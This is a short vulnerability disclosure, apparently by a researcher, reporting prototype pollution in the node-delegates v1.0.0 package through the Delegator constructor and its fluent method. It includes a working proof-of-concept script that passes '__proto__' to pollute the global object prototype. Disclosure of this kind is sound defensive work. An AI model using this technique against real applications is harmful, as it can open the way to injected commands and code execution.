Prototype Pollution Vulneralbility in node-delegates v1.0.0

[Ducky97]

Affected Package:

node-delegates v1.0.0

Vulnerability Location(s):

Method Fluent of class Delegator.

Description:

The latest version of node-delegates (v1.0.0) is vulnerable to Prototype Pollution through its entry function constructor. An attacker can manipulate the input to the constructor and fluent to inject or alter properties within the global prototype chain.
The implications of this vulnerability can lead to other injection-based attacks, particularly if the library is integrated into an application in a way that interacts with sensitive Node.js APIs (such as exec or eval). This could potentially allow an attacker to execute arbitrary commands within the context of the application.

Proof of Concept (PoC):

(async () => {
  console.log({}.polluted);  // undefined
  var delegate = require('delegates')({}, "__proto__");
  var test = delegate.fluent("polluted")
  test.proto.polluted("yes")
  console.log({}.polluted) // Expected output: "Yes"
})();